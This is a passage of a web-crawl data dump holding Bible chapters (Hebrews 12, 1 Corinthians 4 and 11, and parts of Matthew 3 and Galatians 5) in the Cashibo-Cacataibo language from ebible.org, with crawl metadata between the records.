Jesusan naí panárabëcëbëtan isquin anuax numacuru tinax uáxa Nucën Papa Diosan Bëru Ñunshin Upí anu 'iruia isacëxa. 17 Usai 'icëbëtan ca Jesusan naínuaxa banaia cuacëxa, ësai qui: \"Ënëx ca 'ëx amiira sináncë bacë bëchicë 'icën. Ami sinani cana chuámarua tani cuëënin\".","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/MAT03.htm","date":"2022-05-16T18:51:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662512229.26\/warc\/CC-MAIN-20220516172745-20220516202745-00550.warc.gz","language":"cbr","language_score":1.0000072718,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000072717666626}","num_words":607,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.32,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"12\nJesúsmi cananuna catamëti 'ai quicë bana\n1 A unicamaxa 'iásaribiquin ca nubë 'icë 'itsa unin tëmëraquinbi —Nucën Papa Diosan ca asérabi aín quicësabi oquin nu 'aquinti 'icë —quixun 'unánquin ami catamëquin ënima. Atúxa 'icësaribiti 'inuxun cananuna an nu 'atimaquin sinánmicë a ñucama ëanan an usabi 'itioquin nu 'atima 'imicë ñucamaribi ënti 'ain. Acama ënquin cananuna bënë́quinma añu ñu 'ën 'ati cara Nucën Papa Dios cuëënia quixun sinánquin upí oquin 'ati 'ain. Cuai bëtsibë upiti abáti cupí ca unin an ië́ocë ñu nania, usaribiquin cananuna upí oquin nun 'ati ñu 'anuxun, uisa ñun cara nu 'atimaquin sinánmia, a ënti 'ain. 2 Jesús, a cupí nux ami catamëcë 'aish ainan 'ianan asaribi upí 'aish aín nëtënu abë 'iti, ax 'iásaribiti 'inuxun cananuna uisai cara ax 'iacëxa quixun sinánti 'ain. 'Uchañuira uni 'acësa oquin ca unin i curúsocënu a matásti 'icë quixun 'unánxbi ca ënë menu uacëxa, —ënë ñucama inúcëbë unicama upí 'iti mëníotancëx cana 'ën Papa Diosbë 'i cuëëntëcënti 'ai —quixun 'unani. Usai bamax baísquia 'aish ca Nucën Papa Diosan nëtënu abë 'Apu 'icën.\n3 Tëmëraquin —axa ami sináncëma unicaman ca 'ëx Jesucristonan 'icë cupí 'ë bëtsi bëtsi oia —quixun sinánquin ami catamëti ëntin rabanan camina —usaribi oquian ami nishquin unin 'acëxunbi ca Jesucristonën tanshiacëxa —quixun sinánti 'ain. Usaquin sinani camina ami catamëtia unin bëtsi bëtsi ocëxun oquin a ënti sinanima ami cushiti 'ain. 4 Mitsux 'uchati rabanan tëmëranan Jesucristonan cupí bëtsi bëtsi ocë 'aíshbi camina bamacëma 'ain.\n5-6 ¿A bana mitsúxmi aín bëchicë 'icëa 'ësëquin Nucën Papa Diosan cacë a caramina manuan? ësai quicë:\n'Ën bëchicë 'icë cana mi cain, Nucën 'Ibu Diosan ca an nuibacë unicama 'ixunbia ñu 'atima 'aia oquin amiribishi 'atëcënxunma 'anun quixun 'unánmiquin uisoquin cara 'ati 'icë usoquin 'aia. Uicama cara aín bëchicë 'inun 'imiaxa acama ca usoquin 'aia. Usa 'ain camina ñu 'aisama 'aia Nucën 'Ibu Diosan mi uisa cara mi ocëxbi aín bana cuaisama tani bënë́tima 'ain. 'Ianan camina masá nuituti sináncasmaquin, uisai carana 'iti 'ai quixun sinántima 'ain.\n7 Camabi unin ca aín bëchicë ñu 'atima 'aia oquin upí 'inun quixun 'unánmia. Usa 'ain camina mitsun Nucën 'Ibu Diosan ñu 'atima 'aia oquin uisa cara ocëxunbi a tani masá nuituquinma upí oquinshi sinánti 'ain, an ca mitsúxmi aín bëchicë 'icë cupí usoquin 'aia quixun 'unánquin. 8 Nucën Papa Diosan ca aín unicama ñu 'atima 'aia oquin amiribishi 'atëcënxunma 'anun quixun 'unánmiquin uisa oquin cara 'ati 'icë usoquin 'aia. Usoquin mitsu 'acëma 'aish camina mitsux asérabi ainanma 'aish aín bëchicëma 'ain. 9 Nux xu 'ixun ñu 'atima 'aia oquin ca amiribishi 'atëcënxunma 'anun numi nishquinmabi nu 'unánmiquin nucën papan nu mëëacëxa. Mëëcëxunbi cananuna ami nishquinma ax cuëëncësabi oquin 'acën. ¿Usa 'ain caranuna uisa cupí Nucën Papa Diosan nux abë upí 'inun quixun, uisa oquin cara nu 'ati 'icë usoquin 'acëxunbi upí oquin sinántima 'ain? 10 Nux canitancëxnu upí 'inun quixun ca aín sináncësa oquin 'unánmiquin usoquin nucën papan nu 'acëxa. Usa 'aínbi ca Nucën Papa Diosan asaribi upí 'iminuxun upí oquin nu 'unánmia. 11 Cananuna 'unanin, Nucën Papa Diosan usoquin nu 'acëxun taní cananuna masá nuitupanin. Usai 'itancëxbi cananuna usaquian nu 'acë a inúcëbë Nucën Papa Diosbë upí 'iquin upí oquin sinani cuëënti 'ain.\nJesucristo ñui quicë bana timati rabanan bërúancati\n12 Usa 'ain camina tëmëraibi masá nuituquinma upí oquin sinani ami cushi Cristomi catamëti 'ain. 13 Usa 'ixunmi mitsun aín cuëëncësa oquin 'aia isquin ca raíri uniribi ami catamëti upí oquin 'unáncëma 'aíshbi a ëníma mitsux 'icësaribiti 'iti 'icën. Usaía atux 'inun camina Jesucristomi catamëquin aín cuëëncësa oquin 'ati 'ain.\n14 Nishananima camina upitaxëshi bucuti 'ain. Aín 'ucha ëncëma unix ca Nucën Papa Diosbë 'itima 'icën. Usa 'ain camina nishananima upitax bucuquin uisa 'uchabi 'ati sinántima 'ain. 15 Nucën Papa Diosan ax cuëëncësabi oquin mitsu 'aquincëma 'itin rabanan camina an mitsu 'unánmicësabi oi 'inux bërúancati 'ain. Usai 'iquin camina uni raíri 'aisama nuituñu 'inun 'atimaquin sinánmitima 'ain. 16 Uni aín xanubëishi 'itioquin mënío 'ain ca micama ui uníxbi aín xanuma 'ain, xanu itsibë 'itima 'icën, bëbúxribi ca xanúxmabi uni itsibë 'itima 'icën. Nucën Papa Dios ca uni 'imainun xanuribi usai 'iti cuëënima. Usai 'itin rabanan camina camáxbi upí sinánñu 'inun 'aquiananti 'ain. Esaúnën ca Nucën Papa Diosan cacë bana sinánquinma, ax rëcuën 'ixunbi aín piti cuëëncë cupíshi aín xucën aín rëcuën 'imiacëxa. Ax piti cuëëncë cupía Esaú 'iásaribiti camina 'itima 'ain. 17 Camina 'unanin, 'itsa baritia 'icëbë ca Esaú aín papan rëcuën bëchicë 'itëcënti sináncëxa. Usaquin sinani masá nuituti iníbi ca 'iáma 'icën. Usa 'ain ca Esaúma, aín xucën Jacob, axa aín rëcuën bëchicësa 'icë, aín papan Isaacnën upí oquin sinánxunquin Nucën Papa Dios ñucáxuancëxa.\n18 Mitsux camina aín bashi Sinaí, anuxuan nucën raracaman Nucën Papa Diosan bana cua, anu cuánma 'ain. Anuaxa canacamë'ëo sharaquimainun ca a bashix nëtë cuinan mapucë bëánquibucë 'iacëxa. Aín bashicamanubi ca tsi rëquirucë tínbu 'iacëxa. Anu camina mitsux 'iáma 'ain. 19 Manë bana ocë sharatia camina cuama 'ain. Cuatíma 'ianan camina Nucën Papa Dios banaiaribi cuama 'ain. Nucën Papa Dios banacëbëa 'aisamaira ñu 'ia isquin ca nucën raracaman racuë́quin Moisés cacëxa:\n—Nux bamatima cupí camina minbi Nucën Papa Diosan cacëxun nu cati 'ain. 20 Bananuxun ca Nucën Papa Diosan cacëxa: \"Uinu 'icë uníxbi ca aín bashi tanáin cuantima 'icën, ñuinacaxribi ca cuantima 'icën. Uni 'imainun ñuina ax anu cuancëcamax ca maxaxan rëanan masíbunën 'acë 'iti 'icën\". A bana sinani ca nucën raracamax racuë́acëxa. 21 Usaía 'aisamaira ñu 'ia isi ca Moisésnëxribi quiacëxa: \"'Ëxribi cana racuëti bërëin\".\n22 Mitsux camina aín bashi Sinaí anuaxa Nucën Papa Dios baná anu cuanma 'ain. Bëráma camina mitsux Nucën Papa Dios rabinux Sión cacë matá, anua Jerusalén 'icë, anu cuancën. Usai 'iá 'aíshbi camina Jesucristonan 'aish, uinu caramina 'ai anuax, Nucën Papa Dios axa bamatimoi naínu 'icë Jerusalén aín nëtënu tsócë, abë banain. Anuxun ca 'itsaira 'ixun aín ángelcama timë́xun a rabia. 23 Anuribi uicamax cara ainan 'icë, aín anë 'acë, acamanribi ca a rabia. Anu ca ax 'Apuira 'ixuan an camabi unin 'acë ñu iscë, Nucën Papa Dios, ax 'icën. Anuribi ca Nucën Papa Diosan ainan 'icë upí 'imicë 'aísha bamacë unicama aín bëru ñunshin 'icën. 24 Anuribi ca ax aín imi 'apati bama 'ixuan an nuxribinu anu 'inun mëníocë, Jesús, ax 'icën. —Cain, an Abel 'acë uni, ax ca cupicë 'iti 'icë —quiax Nucën Papa Dios quicëbë ca usai 'iacëxa. Usa 'aínbi ca Jesús bamacë cupí uínbi an 'acë uni cupiama 'icën. Usoquian Jesús unin 'á 'ixunbi ca aribi cupiquinma uicamax cara ami catamëtia, a aín 'ucha sinántëcëntimoquin tërënia.\n25 Cananuna 'unanin, Moisésnëan Nucën Papa Diosan bana ñuixuncëxunbia an a bana timaquin cuaisama tancë, nucën raracamax ca castícancë 'iacëxa. Moisésnën ñuiá banasamaira ca Jesucristo ñui quicë bana, Nucën Papa Diosan naínu 'ixun nu 'inan, ax 'icën. Usa 'ain ca nucën raracamaxa 'iásamaira oi an Jesucristo ñui quicë bana timaquin cuaisama tancë unicama ië́tima 'icën. Usa 'ain camina asérabi Jesucristo, Nucën Papa Diosan a aín nëtënua xua, a ñui quicë bana timaquinma upí oquin cuati 'ain. 26 Bëráma ca Moisésbëa Nucën Papa Dios banacëbë mecama shaíquiacëxa. Usa 'aínbi ca Nucën Papa Dios ësairibi quia: \"Mecama amiribishi shaícatëcënquin cana ashi 'aquinma naínu 'icë ñu, bari, 'uxë, 'ispa acamaribi shaícati 'ain\". 27 Nucën Papa Diosa \"cana amiribishi ñucama shaícatëcëni\" quiá 'ain cananuna 'unanin, usoquin shaícacëx ca a ñucama cëñúcë 'aish 'aíma 'iti 'icën. Acama 'aíma 'aínbi ca uisai cara aín unicama abë 'iti 'icë quixun an mëníosabi oi 'iti 'icën. 28 Ax xënibua 'aínbi cëñútimoi nucën 'Apuira 'ain cananuna nux nëtëtima anu abë 'ianan aín unicamabë 'iti 'ain. Usai 'iti sinánquin cananuna Nucën Papa Diosmi sinánquin aín bana cuaquin —asábi ca —cai cuëënquin a rabiti 'ain, ax cuëëncësabi oquin, 29 ax upíira 'ixun ca rëquiruquin tsin 'acësaribi oquin ñu 'aisamacama cëñuti 'icë quixun sinánquin.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/HEB12.htm","date":"2022-05-20T07:55:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662531762.30\/warc\/CC-MAIN-20220520061824-20220520091824-00777.warc.gz","language":"cbr","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"cbr_Latn_score\": 1.0000078678131104}","num_words":1231,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.356,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4\nUsaía an aín bana ñuixunuan Cristonën caíscë uni 'iá bana\n1 Mitsun camina 'unánti 'ain, nux cananuna an 'amicëxun Cristomi catamënun unicama aín bana ñuixuncëishi 'ain. Usa 'aish cananuna unían 'unánma 'icëbi, usai Cristomi catamëti ca uni ainan 'inux ië́ti 'icë quixuan Nucën Papa Diosan sinan bana, a uni ñuinun 'imicë 'ain. 2 Uinu 'icë unin cara uni ñu mëëxunia an ca —upí oquin ca ñu mëëxunia —quixuan an ñu mëëmicë unin 'unánun upí oquin ñu mëëti 'icën. Usaribi ca an Nucën Papa Diosan bana ñuixuncë uni 'iti 'icën. 3 Usa 'aínbi cana 'ën mitsúxmi 'ë ñui 'ëmi manáncë bana 'imainun an uni ñui uni itsimi manáncëxun cuacë 'apucaman 'ë 'uchocë bana, abi taniman. Uisa uni carana 'ëx 'ai quixun cana 'ënbi sinaniman, Nucën 'Ibu Jesucristonën cuni ca 'unania. 4 'Ën ñu 'atima 'acë 'ën chiquinacëma ca 'aíma 'icë quixun 'ën sinaniabi ca Nucën 'Ibu Jesucristonën cuni carana asérabi ñu 'aisama 'acëma 'ai quixun 'unania. 5 Usa 'ain camina Jesucristo utëcëncëma pain 'ain, uisa uni cara uni itsi 'icë quixun sinántima 'ain. Utëcënxun ca Nucën 'Ibu Jesucristonën, camabi uni an unë́xun ñu 'acëcama 'imainun aín nuitu mëúa sináncë ñucamaribi, an upí oquin 'unánun 'unánmiti 'icën. 'Unánmicëbëtan ca Nucën Papa Diosan ui unicaman cara aín 'ucha tërë́ncë 'ixun ñu upí 'axa, a usaribi oquin —upí oquin camina 'a —quixun caquin cuëënmiti 'icën.\n6 'Ën xucë́antu, Apolobë 'ëx 'icësaribitimi mitsux bëtsi bana sinanima Nucën Papa Dios quicësabi oíshi 'inun cana ënë ñucama ñuiquin mitsu cain. —An mitsu 'unánmicë unin 'unánmicësamaira oquin ca an nu 'unánmicë unin nu 'unánmia —quixun camina bëtsi uni catima 'ain. 7 ¿Uin cara mitsu raíri, bëtsi unicama 'icësamaira oími upí 'inun 'imiaxa? Nucën Papa Diosan 'imicëxma camina upí 'itsianma. Nucën Papa Diosan 'imicëx upí 'ixun ¿caramina uisa cupí —'ëxbi cana upí 'ai —quixun rabíquin sinanin?\n8 Mitsun camina ësaquin sinanin, —nun cananuna upí oquin Nucën Papa Diosan Bëru Ñunshin Upitan 'unánmicëxun camabi ñu 'unanin —quixun. Usa 'aish camina nun bëtsi ñu mitsu 'unánmiti cuëëniman. Mitsun sinani camina mitsúxbi 'apusa 'ain, Jesucristo utëcëncëma 'aínbi. Mitsúxmi 'apu 'ain cananuna nuxribi cuëëni 'apu 'itsían. 9 Usami mitsux 'aínbi ca 'ën sináncëxun Nucën Papa Diosan nu uni raíri meuira 'imiaxa, aín bana ñuixunun Jesusan caíscë nux 'icëbi. Unían —'uchañu 'aish ca bamati 'icë —quixun ñuicë unisa cananuna nux 'ain. Nuxnu usaquin unin ñuicë 'icë ca unicama 'imainun ángelcamanribi 'isia. 10 Cristonën cacësabi oquin 'acë cupí mitsun iscëx nux ñuumara 'imainun camina mitsux aín bana 'unáncë 'ain. Mitsun sináncëxa nun bana racuëti banacësa, 'imainun ca mitsun bana cushi 'icën. Usa 'icë nu timaquin nu ñuianan ca mitsuishi unin nuiia. 11 Bërí nëtë́nbi cananuna bëráma 'iásaribiti 'acëñuma 'ianan shimanan chupa upíñuma 'ain. 'Imainun ca unin nu bëtsi bëtsi oquin 'atimoia. Usa 'aish cananuna anu 'iti xubuñumabi 'ain. 12 'Atsánxunbi cananuna nun piti binuxun nun mëcënan ñu mëëin. Numia 'atimati banaiabi cananuna nun Nucën Papa Dios a unicama ñucáxunin. Nu bëtsi bëtsi ocëxunbi cananuna tanshitin. 13 Nu ñui 'atimati banaiabi cananuna nun abë nuibanainsa tanquin upí oquinshi 'ësëin. Unin sináncëx cananuna nux 'aisama 'icëa unin pucë chinan usaribi 'ain, bëríribi cananuna unin nu sináncëx usa 'ain.\n14 Mitsúxmi masá nuitunun cana ënë ñucama mitsu cuënëoxuniman. Mitsúxmi 'ën bëchicësa 'icë cana nuibaquin upí 'inun mitsu 'ësëin. 15 'Itsa unin Cristo ñuiquin mitsu ñuixununbi cana 'ën pain Jesucristo mitsu ñuixuancën. 'Ën ñuixuncëxun cuati camina ami catamëacën. Usa 'ain cana 'ëxëshi mitsun papasa 'ain. 16 'Ën pain Jesucristonën bana mitsu ñuixuncë 'aish camina 'ëx 'icësaribiti 'iti 'ain.\n17 Mitsúxmi 'ëx 'icësaribiti 'inun cana Timoteo mitsu istánun xuan. 'Ën bana ñuia cuati axribi asérabi Nucën 'Ibu Jesucristomi catamëcë 'aish ca 'ën nuibacë bëchicësa 'icën. Mitsunu cuanxun ca uisai carana 'ëx Jesucristomi catamëcë 'aish 'i, a mitsu ñuixunti 'icën. Camabi ëmanuaxa timë́cë axa Jesucristomi catamëcë unicama a cana usai cana 'ëx Jesucristomi catamëti 'i quixun 'unánmin. 18 Mitsu raírinëx camina 'ëx sapi isna anu cuanti racuëti quixun sinani cërutin. 19 Usaquin sináncëbëbi cana Nucën 'Ibu Jesucristo cuëëncëbë 'itsama nëtë 'icëbë mitsu isi cuanti 'ain. Cuanxun cana a unicaman cara aín cuëbitainshi banaquinma asérabi ax quicësabi oquin 'aia quixun isti 'ain. 20 Axa —'ëx cana Nucën Papa Diosnan 'ai —quicë uni ama, an aín bana quicësabi oquin 'acë uni ax cuni ca asérabi Nucën Papa Diosnan 'icën. 21 ¿'Ën mitsu ñu cai cuanti caramina cuëënin? ¿'Ën ñu caquinma mitsu nuibaquin upí oquinshi cai cuanti caramina cuëënin?","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/1CO04.htm","date":"2022-05-25T03:05:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662578939.73\/warc\/CC-MAIN-20220525023952-20220525053952-00196.warc.gz","language":"cbr","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000075101852417}","num_words":694,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.32,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"11\n1 'Ëx Cristo 'iásaribiti 'icësaribiti camina mitsúxribi 'iti 'ain.\nAxa Jesucristomi catamëcë unicama timë́cëbë usai xanucama 'iti bana\n2 'Ën xucë́antu, mitsun 'ë manuquinma camina 'ën mitsu ñuixuncë bana quicësabi oquin 'ain. Usaími 'ia cuaquin cana —asábi ca —quixun mitsu cain. 3 Ënë banaribi cana mitsúnmi 'unánun ësaquin mitsu cain, Cristonën aín Papan bana cuacësaribi oquin ca camabi unin Cristonën bana cuati 'icën. Usaribi oquin ca camabi xanun aín bënën bana cuati 'icën. 4 Axa Jesucristomi catamëcë unicama timë́cëbëtan ca nucë bënë unin Nucën Papa Diosbë banaquin aín mañuti mañutima 'icën. Usaribi oquin ca Nucën Papa Diosan sinánmicë bana uni ñuixunquin aín mañuti mañutima 'icën. Usoquian unin aín mañuti mañucëx ca 'aisama 'iti 'icën. 5 Usa 'aínbi ca xanux abë bananan Nucën Papa Diosan sinánmicë bana ñuixuni mapúcë 'iti 'icën. Usaía 'icëxma ca 'aisama 'aish maxcúcë xanusa 'ia. 6 Axa mapútisama tancë xanu ax ca maxcúcë 'iti 'icën. Usa 'aish ca maxcútimi rabíanan, maruñusa 'aish rabíntisama tani mapúti 'icën. 7 Nucën Papa Diosan ca asaribi 'itánun uni uniocëxa. Usa 'ain ca Nucën Papa Diosan asaribi 'inun unio 'aish uni mapútima 'icën. Usa 'aínbi ca Nucën Papa Diosan an uni 'aquinti oquin xanu uniocëxa. 8 Nucën Papa Diosan ca xanun putu bixun uni unioma 'icën. Usaquin 'aquinma ca nucë bënë unin putu bixun xanu uniocëxa. 9 Xanunan 'iti oquin ca Nucën Papa Diosan bëbu unioma 'icën. Bëbunan 'iti oquin ca xanu Nucën Papa Diosan uniocëxa. 10 'Ën uni 'aquinquin ax quicësabi oquin 'anun ca Nucën Papa Diosan 'ë uniocëxa quixun sinani ca xanux mapúcë 'iti 'icën, ángelcaman —a upí sinánñu ca —quixun isnun. 11 Usa 'aínbi ca axa Jesucristomi catamëcë unicaman ësaquin 'unánti 'icën, bëbu uni ashi 'ixunbi ca camabi ñu aín cuëëncësa oquin 'atima 'icën. Usaribiquin ca xanun ashi 'ixunbi camabi ñu aín cuëëncësa oquin 'atima 'icën. 12 Bëráma ca Nucën Papa Diosan xanu unioquin unin putu bixun uniocëxa. Usa 'aínbi ca Nucën Papa Diosan mëníosabi oquin xanúinshi uni tuaia.\n13 Mitsúnbi camina upí oquin sinánquin 'unánti 'ain, Nucën Papa Diosbë banaia xanu mapútima cara asábi 'icë quixun. 14 Cananuna 'unan, uni aín bu chaxcë́ira 'aish ca rabin 'iti 'icën. 15 Usa 'aínbi ca usabiiti oi unia 'aish xanux aín bu chaxcë́ 'icën. Usabi anun mapúti oquin ca Nucën Papa Diosan mëníocëxa. Usa 'aish ca xanunanëx upí 'icën. 16 Axa ënë bana cuati cuëbicanáncë unicama cana cain, usai ca xanu 'iti 'icë quixun cananuna camabi uni cain. Axa Jesucristomi catamëcë unicama timë́cëcamanribi ca —usai ca 'iti 'icë —quixun sinania.\nPán pianan uvas baca 'aquin Jesucristo asérabi sinánquin 'ati bana\n17-18 Ësaquian mitsu ñuicania cana cuan, mitsux isamina Jesucristo sinánquin pán pianan bimi baca 'anux timë́axbi camáxbi nuibananima bëtsibë bëtsibë nishananin. Usaquin ñuicania cuaquin cana sinan, usai sapi camina 'icani quixun. Usa 'aish camina ñancábi timë́canin. Timë́axbi camina anuaxira nishanancanin. Usaquin Jesucristo sinánquin pán pianan bimi baca xëaibi camina asérabi ami sinánquinmi 'acëma cupí 'uchain. Usoquinmi ñu 'aia cana mitsu, upí oquin camina 'ai quixun caiman. 19 Usaquin bëtsi bëtsi oquin sinania raírinëx cuamiananmainunbi raírinëx nishananiama isquin ca unin isti 'icën, uicamax cara asérabi Cristonan 'icë quixun. 20 Camáxbi timë́xun nuibananquinma piquin camina asérabi Nucën 'Ibu Jesucristo sinánquin 'aiman. 21 Usa 'ixun camina uni raíri tënánan micama raírinën mitsun bëcë ñu pin. Uni raírinëxa 'acëñuma 'aish panántamainun camina micama raírinëx 'aisamaira oquin pitancëx paënin. 22 Mitsux camina anuxun pianan xëati xubuñu 'ain. Axa Jesucristomi catamëcë unicamabë timë́axmi usai mitsux 'icëbë ca uni raírinëx Nucën Papa Dios timai ainan 'iisama tanti 'icën. Usami ocëx ca anu 'icë ñuñuma unicamax ñuñuma 'aish rabinia. ¿Uisoquin carana mitsu cati 'ain? ¿Usaími 'ia carana uisa 'ixun mitsu —asábi camina 'ai —quixun cati 'ain? Cana catima 'ain.\nJesucristo sinánquin pán pianan uvas baca 'ati bana\n(Mt 26.26-29; Mr 14.22-25; Lc 22.14-20)\n23 Nucën 'Ibu Jesusan 'ë cacë bana ñuiquin cana ësaquin mitsu can, anúan uni itsin 'anun quixun unin a 'inánti, a ñantan ca Nucën 'Ibu Jesusan pán biacëxa. 24 Bitancëxun ca aín Papa —asábi ca —catancëxun tëcë́npaxun mëtícaquin cacëxa: \"Ënë ca pit. Mitsúnmi piti pán ënëx ca 'ë 'icën, axa minun rabanan bamati a. Ësoquin piquin camina 'ë sinánquin 'ati 'ain\". 25 Usaribi oquin ca pitancëx sënë́nxun xanpanu 'icë uvas baca biquin cacëxa: \"'Ëx 'ën imi 'apati bamati cupí ca mitsúxmi ainan 'iti 'ën Papa Diosan mëníocëxa. Ënë sinánquin camina ësoquin bimi baca 'aquin 'ë sinánquin 'ati 'ain\". 26 Usa 'ain ca Nucën 'Ibu Jesucristo utëcëntamainun aín unicaman ësoquin pán 'imainun bimi baca 'ati 'icën. Usaquian aín unicaman 'aia isquin ca unin 'unánti 'icën, atun 'ucha cupía Jesucristo bama 'ain ca a sinánquin usoquin 'aia quixun.\nAsérabi Jesucristomi sinánquin pán 'imainun uvas baca 'ati bana\n27 Usa 'ain ca uix cara Nucën Papa Dios cuëëncësabi oi 'íma 'ianan —Jesucristo ca nun 'uchacama tërë́nux aín imi 'apati bamacëxa —quixun sinánquinma a manucë 'ixunbi usoquin pán 'imainun bimi baca 'aia, a unix ca Nucën 'Ibu Jesucristomi 'uchaia. 28 Usa 'ain camina pán 'imainun bimi baca 'anuxun, mitsux caramina asérabi ami sinani Nucën Papa Dios cuëëncësabi oi 'i quixun upí oquin sinánti 'ain. 29 Nucën 'Ibu Jesucristo ca nun 'uchacama cupí bamacëxa quixun sinánquinmabi usoquin pán 'imainun bimi baca 'ai 'uchacë cupí camina castícancë 'iti 'ain. 30 Usai 'uchacë cupí camina Nucën Papa Diosan 'imicëx raíri cushima 'ianan 'insínñu 'ain. Usa 'aish ca raíriribi bamaxa. 31 Usa 'aínbi ca nun 'uchacama mëníocë 'ixun —asérabi ca Jesucristo cupí Nucën Papa Diosan iscëx 'ën nuitu upí 'icë —quixun sinánquinu pán 'imainun bimi baca 'aia, Nucën Papa Diosan nu 'uchotima 'icën. 32 Usa 'aínbi ca asérabi ami sinánquinmabi usoquin a ñu 'aia, Nucën Papa Diosan nu 'uchoquin, axa ami sináncëma unicamabënu nuxribi 'uchocë 'itin rabanan, usoquin 'atëcëníma 'inuxun 'unánun, uisai caranuna 'i usaínu 'inun nu castícania.\n33 'Ën xucë́antu, Jesucristo sinánquin pán 'imainun bimi baca 'anux timëti camina pinux caínanpanti 'ain. 34 Usai 'iimi upiti timëtiama isquian Nucën Papa Diosan mitsu castícanti rabanan camina panancë 'ixun mitsun xubunuxun piti 'ain. Usa 'ain cana mitsu isi cuanxun uisai caramina 'icani, a mitsu mëníoxunti 'ain.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/1CO11.htm","date":"2022-05-29T05:11:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663039492.94\/warc\/CC-MAIN-20220529041832-20220529071832-00384.warc.gz","language":"cbr","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000063180923462}","num_words":945,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5\nJesucristonan 'ixun bëráma 'á ñucama sinántëcëntima bana\n1 Nun Moisésnën usai ca judíos unicama 'iti 'icë quixun cuënëo bana quicësabi oquin 'acë cupíma cananuna Cristomi catamëcë cupíshi Nucën Papa Diosnan 'ain. Usa 'ain camina asérabi Cristomi catamëquin a ënti sinántima 'ain. Usai judíos unicama 'iti Moisésnën cuënëo bana quicësabi oquin 'acë cupí cana Nucën Papa Diosnan 'ai quixun camina sinántëcëntima 'ain.\n2 Pablo 'ixun 'ën mitsu camainun ca cuat, Nucën Papa Diosnan 'inux cana judíos unicama 'icësai 'unántioracati 'ai quixun sinanibi camina Cristomi catamëcëma 'aish Nucën Papa Diosnan 'itima 'ain. 3 Cana mitsu catëcënin, uicaman cara —'unántioracacëma 'aish cana Nucën Papa Diosan iscëx 'ën nuitu upí 'inux 'unántioracacë 'iti 'ai —quixun sinania, a unicaman ca 'unántioracacë 'iti ashima camabi usai ca judíos unicama 'iti 'icë quixun Moisésnën cuënëo bana quicësabi oquin 'ati sinánti 'icën. 4 Uicaman caramina —Moisésnëan usai ca judíos unicama 'iti 'icë quixun cuënëo bana quicësabi oquin 'acë cupí ca ainan 'icë Nucën Papa Diosan 'ë upí isia —quixun sinani, mix camina upí 'inux ami catamëtancëxunbi Cristo ëncë 'ain. Usa 'aish camina Nucën Papa Diosnanmasa 'ain. 5 Usa 'aínbi cananuna nun, ami catamëti ënquinma aín Bëru Ñunshin Upitan 'imicëx cananuna Nucën Papa Diosan iscëx upí 'iti 'ai quixun sinanin. 6 Nux asérabi Jesucristonan 'aish cananuna 'unántioracacë unicama 'icësaribiti 'unántioracacëma 'aíshbi Nucën Papa Diosan iscëx upí 'ain. Jesucristomi catamëcë 'ixúan an uni nuibacë uni ax ca Nucën Papa Diosan iscëx upí 'icën.\n7 Mitsux camina upiti Jesucristomi sináncën. ¿Ui unin cara Jesusan banami ënun quixun mitsu sinanamiax? 8 Nucën Papa Dios an mitsu ainan 'inun sinánmicë, an ca Jesusan bana ënun quixun mitsu sinánmicëma 'icën. 9 Unix ca quia, \"Anun pán chamiti ñu an ca xanpanu 'icë pán 'ati ñu acëñun mëscucëxun camabi chamia\". Usaribi 'ixuan an uni paráncë unin ñuixuncëxun ca camabi unin aín bana cuatia. Usa unin sapi ca mitsu paránxa. 10 Usa 'aínbi cana mitsúxmi Nucën 'Ibu Jesucristomi catamëcë 'ain ësaquin sinanin, mitsun camina 'ën 'acësaribi oquin —Moisésnëan cuënëo bana cupíma Jesucristomi catamëcë cupíshi cananuna Nucën Papa Diosan iscëx upí 'ai —quixun 'unanin. Usa 'aínbi ca an mitsu 'atimaquin sinanamisa tancë uni, uisa uni cara, abi Nucën Papa Diosan castícanti 'icën.\n11 'Ën xucë́antu, cana mitsu cain, 'ën —Nucën Papa Diosan iscëx upí 'inux ca uni 'unántioracacë 'iti 'icë —quixun caquin, unicama bana ñuixuncë 'aish cana judíos unicaman bëtsi bëtsi ocëma 'itsían. I curúsocënuaxa ax bama, Jesucristo, ami catamëtishi ca uni upí 'iti 'icë quixun a bana 'ën ñuicëbëma ca uni 'ëmi nishtsíanma. 12 An mitsu 'unántioracanun quixun ubíocë unicama aín namiribi tëatibi ca 'ia.\n13 'Ën xucë́antu, mitsun ñu 'acë cupíma Cristomi catamëcë cupíshi an iscëx upí 'inun ca Nucën Papa Diosan mitsu caísaxa. Usa 'ixun camina mitsux cuëëncësabi oquin ñu 'atima 'ati sinántima 'ain. Usaquin 'aíma camina bëtsibë nuibanani asérabi 'aquiananti 'ain. 14 Nucën Papa Diosan bana ca quia:\n—\"Mixmi bërúancacësaribi oquin camina min aintsicama 